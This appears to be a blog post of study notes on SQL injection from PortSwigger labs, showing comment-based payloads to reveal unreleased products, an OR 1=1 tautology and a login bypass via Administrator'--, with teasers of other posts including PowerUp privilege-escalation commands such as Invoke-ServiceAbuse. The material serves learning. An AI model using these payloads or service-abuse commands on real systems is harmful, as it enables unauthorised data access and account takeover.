Skip to main content

SQL injection - web app pentest - port swigger

Retrieving hidden data:

When we select category=Gifts from the web application/website, then the following query is run on the (sql) database. 

Select * from products where category='Gifts' and released = 1

All the released products will be shown. 

Now in the url if we give category=Gifts'-- 

Then the following query will run in database. 

Select * from products where category='Gifts'--' and released = 1

-- double dash means comment out. so '-- in the url will comment out rest of the command after Gifts which is --' and released = 1. Thus we have only category='Gifts'

Now the app will show us all the unreleased product too under Gift category. 

Now if you want to see all the products from all the category then do following in the url:

category=Gifts' or 1=1--

Select * from products where category='Gifts' or 1=1--' and released = 1

Now all the products from all the categories both released and unreleased will be shown. 

-----------------------------------------------------------------------------------------------------------------

Subverting application logic:

When you give username and password then the following query is sent to the database and generally application lets you in when there is a match on both fields.

SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'

But what if, when the application only checks the username field and lets you in when there is a match. 

In that case, we can by pass the application logic by simply do the following:

Username: Administrator'--

Password: (blank)

SELECT * FROM users WHERE username = 'Administrator'--' AND password = ''

Now in the where clause only username field will be checked. '-- will comment out rest of the command --' AND password = '' from the above query.

-----------------------------------------------------------------------------------------------------------------

 Retrieving data from other database table - Union attacks:

 

 

Comments

Post a Comment

Popular posts from this blog

API hacking lab setup

 Follow the commands to install and configure API hacking lab: 1. Install kali linux and update all the packages.  apt update -y apt upgrade -y or apt dist-upgrade -y or apt full-upgrade -y If you face any problem regarding update, install cloud flare warp in the host machine, then again start updating packages in your kali vm.  2. Install and configure burpsuite professional.  After that open burpsuite and go to Extensions tab. Click on BAppStore. Search for Autorize extension, It will help us to automate authorization testing. Click on Download Jython from the right side. From Jython website click on Jython standalone JAR and save it. Go to Extensios > Extensions settings >  under Core extension settings find out Python environment on the right pane. Select the jython jar file that you just downloaded. Now again go to BAppStore and re-search for Autorize extension. You will see Install option this time after selecting Autorize extension. Install it. You ...
Post a Comment
Read more

Privilege Escalation Domain Level PowerUp - Part - 2

  Our target is first escalate our local privs to local admin level. Then we will hunt for to check we have the local admin privs to which other machines. Then we will check on those machines, any domain admin sessions are available or not.  Unquoted service path check: Get-WmiObject -class win32_service | Select-Object pathname From powerup: Get-ServiceUnquoted -Verbose Get services where the current user can write to its binary path or change arguments to the binary: Get-ModifiableServiceFile -Verbose Get the services whose configuration current user can modify, if you are in server operator group then you can do this: Get-ModifiableService -Verbose Or we can run all the above checks from using powerup.ps1 script: . .\PowerUp.ps1 Invoke-AllChecks help Invoke-ServiceAbuse -Examples Invoke-ServiceAbuse -Name AbyssWebServer -UserName dcorp\student15     (Here AbyssWebServer is the abuseable service name that you come to know after running Invoke-AllChecks command) Wh...
Post a Comment
Read more

How to use vim efficiently

  Here every command works in command mode . And if you need to write something then you need to go to Insert mode . Pressing i will take you to the insert mode.  1. Let's say you want to search something. For example you want to find avi keyword. Then first you need to go to the command mode by typing Esc . Now type /avi  (at the bottom) and hit enter. Press small n to forward this search pattern and press Shift N to go reverse.  2. Substitute something: :%s/old string/new string/g    (g for affecting globally) 3. If you want to pick the 1st letter of word then press w and last letter of word then press e .  4. yy means copy a single line. 2yy means copy double lines.  5. Shift P is for paste.  6. Shift D to delete a line or cut a line.  7. Press o to go a new line.  8. Press Home to go to the 1st letter of a line and End to go to the last letter of a line.  9. If you want to save the file then press wq! . 10. If ...
Post a Comment
Read more